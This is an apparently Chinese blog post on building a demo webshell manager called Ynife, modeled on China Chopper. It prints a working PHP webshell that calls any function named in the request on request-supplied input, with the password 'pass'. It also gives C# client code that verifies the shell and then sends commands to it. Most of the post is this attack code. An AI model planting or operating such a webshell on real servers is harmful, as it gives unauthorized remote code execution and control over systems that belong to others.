Demo版菜刀

webshell:

<?php
@ini_set('display_errors','0');
if($_REQUEST['Ynife_verify'] == "verity" && $_REQUEST['Ynife_password'] == "pass"){
 echo "bingo";
}
if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
 if($_REQUEST['Ynife_run_flag'] == "run"){
  loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
 }else{
  loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
 }
}
function loader($a,$b){
 $cc = run($b);
 $a($cc);
}
function run($b){
  return $b;
 }
?>

image.png

image.png

他叫我约妹子去了。那我就去了。。。

首先看到webshell如何判断是否连接成功,当$_REQUEST['Ynife_verify']为verity和$_REQUEST['Ynife_password']等于pass的时候echo一个bingo。师傅看到这里可以就会喷了哈哈哈哈我也觉得。因为后期会改造所以暂时先将就着试试水。

这里回到c#入口函数

Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;


namespace Ynife
{
    internal class Program
    {
        static void Main(string[] args)
        {
            string url = args[0];
            string password = args[1];
            string res = SendData.PostRequest(url, password);
            if (res == "bingo")
            {
                Console.WriteLine("[+]connect success");
                SendExecuteCommand.SendCode(url, password);
            }
            else
            {
                Console.WriteLine("[-]connect failed");
            }
        }
    }
}

首先接受控制台url加密码其实就是$_REQUEST['Ynife_password']的值。然后通过SendData类的PostRequest方法发送。跟进PostRequest方法。

public static string PostRequest(string url,string password)
{
    string responseData = "";
    var client = new WebClient();
    WebProxy proxy = new WebProxy("127.0.0.1", 8080);
    client.Proxy = proxy;
    var data = new NameValueCollection();
    data["Ynife_password"] = password;
    data["Ynife_verify"] = "verity";
    byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
    client.Headers.Add("ContentLength", sendData.Length.ToString());
    byte[] bytes = client.UploadValues(url, "POST", data);
    responseData = Encoding.UTF8.GetString(bytes);
    return responseData;
}

本地测试开启了8080代理,不用关闭就行。

测试下连接

image.png

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值